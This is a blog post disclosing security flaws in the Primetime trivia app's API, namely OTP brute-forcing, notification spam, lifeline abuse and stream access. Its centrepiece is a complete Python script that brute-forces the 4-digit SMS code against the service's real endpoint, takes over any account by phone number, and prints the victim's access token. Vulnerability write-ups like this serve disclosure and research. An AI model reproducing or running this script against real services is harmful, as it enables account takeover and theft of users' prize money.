Erik HeimdalEH
BlogResuméProjects

Primetime

5 minute read

Primetime is a live trivia game application for Android and iOS platforms, where users compete for monetary rewards by answering questions within 10 seconds. The security measures implemented by the team behind the Primetime API have been found lacking, resulting in a variety of exploits.

Tools Used

Exploits

Login Bypass

In order to sign in to your primetime account you need to enter your phone number into the app, after which an SMS containing a 4 digit OPT will be sent to your phone, that is then used for you to sign into the application.

The problem is that this 4 digit OTP only has 10,000 possible combinations and that the server never sets a cooldown for entering the password. By iterating through all possible values, one can login to any account within 2 minutes. This gets even worse considering an attacker could take out all prizemoney from the account, with virtually zero effort.

The python script below preforms the attack automatically:

Example Python Script for Attack

import requests
import hashlib
import _thread
import json
from time import sleep


# Enter number here
NUMBER = input('Enter phone number: ')
REFFERAL = 123456

DONE = False
PAUSE = False

# Fix
true = True
false = False

# Dicts from source APK
AuthenticationStatus = {0: "NOT_SET", 100: "FAILED_TO_SEND_SMS", 110: "FAILED_TO_VERIFY_CODE",
                        115: "USERNAME_REQUIRED", 120: "USERNAME_TAKEN", 130: "USERNAME_NOT_VALID", 200: 'OK', 300: "BLOCKED"}


def byte_len(string):
    return len(string.encode('utf-8'))


def create_named_account(deviceId, code, name):
    data = name
    content_length = str(byte_len(data))
    r = requests.post('http://sv-services.sventertainment.se/api/services/signIn',
                        params={'id': deviceId, 'code': code,
                                'referral': REFFERAL},
                        headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': content_length, 'Host': 'sv-services.sventertainment.se',
                                'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0', 'Connection': 'Keep-Alive'},
                        data=data.encode('utf-8'))

    status = r.status_code
    if status == 200:
        request_json = r.json()
    else:
        print("Unexpected server status:", status)

    print('Response:', AuthenticationStatus[request_json['status']])
    if request_json['status'] == 200:
        return r.text
    else:
        return False


def validate_request(i):
    global DONE, PAUSE
    r = requests.post('http://sv-services.sventertainment.se/api/services/signIn',
                        params={'id': deviceId, 'code': '%04d' % i},
                        headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': '2',
                                'Host': 'sv-services.sventertainment.se',
                                'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0',
                                'Connection': 'Keep-Alive'},
                        data='{}')
    status = r.status_code
    if status == 200:
        request_json = r.json()
    else:
        print("Unexpected server status:", status)

    if request_json['status'] == 200:
        DONE = True
        sleep(3)
        headers = r.headers
        file = open(
            r'C:\Users\{USER_ACCOUNT}\AppData\Local\Programs\Fiddler\MyCool\correct_login', 'w+', encoding='utf-8')
        file.write(r.text)
        file.close()
        print(
            f'Key found: {i}\nNew login written to file,\nOpen Primetime and enable AutoResponder in fiddler to login from bluestacks\n')
        print('Name:', request_json['device']['user']['username'])
        print('Nr:', request_json['device']['phone'])
        print('Token:', request_json['device']['accessToken'])
        print('ID:', request_json['device']['id'])
        quit()
    elif request_json['status'] == 115:
        PAUSE = True
        print(
            f'Key found: {i}\nNumber does not have an account yet\n')
        name = input("Please enter the new account name here: ")
        account_creation = create_named_account(deviceId, '%04d' % i, name)
        while account_creation is False:
            name = input("Name has already been used, enter another one: ")
            account_creation = create_named_account(deviceId, '%04d' % i, name)
        file = open(
            r'C:\Users\{USER_ACCOUNT}\AppData\Local\Programs\Fiddler\MyCool\correct_login', 'w+', encoding='utf-8')
        file.write(account_creation)
        file.close()
        print('New login written to file\nOpen Primetime and enable AutoResponder in fiddler to login from bluestacks\n')
        request_json = json.loads(account_creation)
        print('Name:', request_json['device']['user']['username'])
        print('Nr:', request_json['device']['phone'])
        print('Token:', request_json['device']['accessToken'])
        print('ID:', request_json['device']['id'])
        PAUSE = False
        DONE = True
        quit()
    quit()


hash_object = hashlib.md5(NUMBER.encode())
hash = hash_object.hexdigest()

while 1:
    r = requests.post('http://sv-services.sventertainment.se/api/services/register',
                        params={'token': hash},
                        headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': str(byte_len(NUMBER)), 'Host': 'sv-services.sventertainment.se',
                                'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0', 'Connection': 'Keep-Alive'},
                        data=NUMBER.encode('utf-8'))

    status = r.status_code
    if status == 200:
        request_json = r.json()
    else:
        print("Unexpected server status:", status)
        print('Quitting...')
        quit()

    if request_json['status'] == 200:
        deviceId = request_json['deviceId']
        if deviceId == 2887:
            answer = input('Device ID is 2887, continue? [y/n]: ')
            if answer.lower() != 'y':
                quit()
        else:
            print('Device ID:', deviceId)
        break
    else:
        print('Response:', AuthenticationStatus[request_json['status']])
        answer = input('Try again? [y/n]: ')
        if answer.lower() != "y":
            print('Quitting...')
            quit()

for i in range(10000):
    _thread.start_new_thread(validate_request, (i,))
    sleep(0.015)
    if DONE:
        sleep(5)
        quit()
    elif PAUSE:
        while PAUSE:
            sleep(1)
    elif i % 100 == 0:
        print(i)

Notification spam

Users can invite other users to compete over who can complete the most challenges, an action that can only be done practically once before every game and triggers a notification on the challenged players device.

However, this limitation is only client side, meaning one could replay the request more times than the server would expect. The request can be captured with a proxy like Fiddler, something that is possible because primetime communicates to its servers over plain-text HTTP. After capturing the request an attacker could replay it thousands of times, until the user would be forced to delete the app because of the inconvenience of having the phone ringing all the time.

Free lifelines

By exploiting the login bypass bug, it is also possible to create new accounts using non-existent phone numbers. These new accounts can enter a code pointing to the ID of another user, and give the corresponding user a lifeline.

Although lifelines are not very useful to have in large quantities in of themselves (as you can only use one per game), they are able of putting you on the global top list for having the most lifelines. This can be exploited by advertisers to spread light on their products, although that is admittedly a bit far fetched.

Primeprize GUI

The primeprize GUI is a program made in python with the goal of helping the user during the quiz. It achieves this in several ways:

For the time being the program requires the following to be installed:

Both of these programs are for capturing the incoming network traffic, that is then parsed by the main program.

Access stream 24/7

During the quiz the hosts stream themselves commenting on the questions, and after the program ends the stream is supposed to be closed. However, as the technical team included the API-key in plain text request to the client (which by the way is never changed) it is possible for any user to connect to the stream long after the quiz has ended.

A simpler way to connect to the stream is simply to block all the packets that tell the client to close the stream, and the client will continue to display the stream. This can be done through Fiddler.